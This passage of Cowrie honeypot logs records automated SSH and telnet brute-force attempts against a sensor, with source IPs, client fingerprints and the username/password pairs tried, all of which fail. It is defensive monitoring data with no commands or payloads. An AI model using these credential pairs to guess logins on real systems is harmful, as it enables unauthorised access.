f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:42.990604Z","src_ip":"45.233.218.160","session":"e193257d805d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gemini","password":"gemini123","message":"login attempt [gemini/gemini123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:43.554627Z","src_ip":"45.233.218.160","session":"e193257d805d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:44.691016Z","src_ip":"45.233.218.160","session":"e193257d805d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58116,"dst_ip":"159.203.135.109","dst_port":22,"session":"aef91dcd6675","protocol":"ssh","message":"New connection: 62.133.62.83:58116 (159.203.135.109:22) [session: aef91dcd6675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:53.562818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:53.567190Z","src_ip":"62.133.62.83","session":"aef91dcd6675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:53.647470Z","src_ip":"62.133.62.83","session":"aef91dcd6675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"326159487","message":"login attempt [root/326159487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:53.896699Z","src_ip":"62.133.62.83","session":"aef91dcd6675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:54.980560Z","src_ip":"62.133.62.83","session":"aef91dcd6675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":39238,"dst_ip":"10.17.0.5","dst_port":22,"session":"6187fb96e884","protocol":"ssh","message":"New connection: 79.143.189.125:39238 (10.17.0.5:22) [session: 6187fb96e884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:55.995790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:56.000944Z","src_ip":"79.143.189.125","session":"6187fb96e884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:56.098031Z","src_ip":"79.143.189.125","session":"6187fb96e884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:56.553093Z","src_ip":"79.143.189.125","session":"6187fb96e884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:57.652837Z","src_ip":"79.143.189.125","session":"6187fb96e884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":39806,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac9952f5f72","protocol":"ssh","message":"New connection: 171.244.141.86:39806 (10.17.0.5:22) [session: 9ac9952f5f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:08.241362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:08.255534Z","src_ip":"171.244.141.86","session":"9ac9952f5f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:08.491365Z","src_ip":"171.244.141.86","session":"9ac9952f5f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm123","message":"login attempt [root/Zxcvbnm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:09.463565Z","src_ip":"171.244.141.86","session":"9ac9952f5f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:10.705474Z","src_ip":"171.244.141.86","session":"9ac9952f5f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":17040,"dst_ip":"10.17.0.5","dst_port":22,"session":"24b9bca50764","protocol":"ssh","message":"New connection: 180.243.191.141:17040 (10.17.0.5:22) [session: 24b9bca50764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:29.792690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:29.799636Z","src_ip":"180.243.191.141","session":"24b9bca50764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:30.226862Z","src_ip":"180.243.191.141","session":"24b9bca50764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gf","password":"gf","message":"login attempt [gf/gf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:31.317538Z","src_ip":"180.243.191.141","session":"24b9bca50764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:32.595015Z","src_ip":"180.243.191.141","session":"24b9bca50764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":44326,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be4dacd1228","protocol":"ssh","message":"New connection: 121.168.139.251:44326 (10.17.0.5:22) [session: 1be4dacd1228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:39.195449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:39.200872Z","src_ip":"121.168.139.251","session":"1be4dacd1228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:39.402845Z","src_ip":"121.168.139.251","session":"1be4dacd1228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filip","password":"filip123","message":"login attempt [filip/filip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:40.242653Z","src_ip":"121.168.139.251","session":"1be4dacd1228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:41.447520Z","src_ip":"121.168.139.251","session":"1be4dacd1228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.102.169.141","src_port":54152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceef8e54ff8d","protocol":"telnet","message":"New connection: 112.102.169.141:54152 (10.17.0.5:23) [session: ceef8e54ff8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:58:47.886811Z"}
{"eventid":"cowrie.session.closed","duration":12.533029794692993,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:00.419743Z","src_ip":"112.102.169.141","session":"ceef8e54ff8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60246,"dst_ip":"10.17.0.5","dst_port":22,"session":"62471d04a4a5","protocol":"ssh","message":"New connection: 103.27.238.116:60246 (10.17.0.5:22) [session: 62471d04a4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:05.686708Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"c640c0ae9001","protocol":"ssh","message":"New connection: 103.27.238.120:58164 (10.17.0.5:22) [session: c640c0ae9001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:05.694541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:05.698831Z","src_ip":"103.27.238.116","session":"62471d04a4a5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:05.705899Z","src_ip":"103.27.238.120","session":"c640c0ae9001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:05.971048Z","src_ip":"103.27.238.120","session":"c640c0ae9001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:05.982674Z","src_ip":"103.27.238.116","session":"62471d04a4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modern","message":"login attempt [root/modern] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:06.768295Z","src_ip":"103.27.238.120","session":"c640c0ae9001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fermer","message":"login attempt [root/fermer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:06.812312Z","src_ip":"103.27.238.116","session":"62471d04a4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":41414,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c87e5b0d146","protocol":"ssh","message":"New connection: 78.44.192.210:41414 (10.17.0.5:22) [session: 2c87e5b0d146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:07.276841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:07.281231Z","src_ip":"78.44.192.210","session":"2c87e5b0d146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:07.390459Z","src_ip":"78.44.192.210","session":"2c87e5b0d146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:07.860568Z","src_ip":"78.44.192.210","session":"2c87e5b0d146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:08.036413Z","src_ip":"103.27.238.120","session":"c640c0ae9001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:08.093709Z","src_ip":"103.27.238.116","session":"62471d04a4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:08.971200Z","src_ip":"78.44.192.210","session":"2c87e5b0d146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":48864,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2c6594f266","protocol":"ssh","message":"New connection: 45.233.218.160:48864 (10.17.0.5:22) [session: 7e2c6594f266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:36.309628Z"}
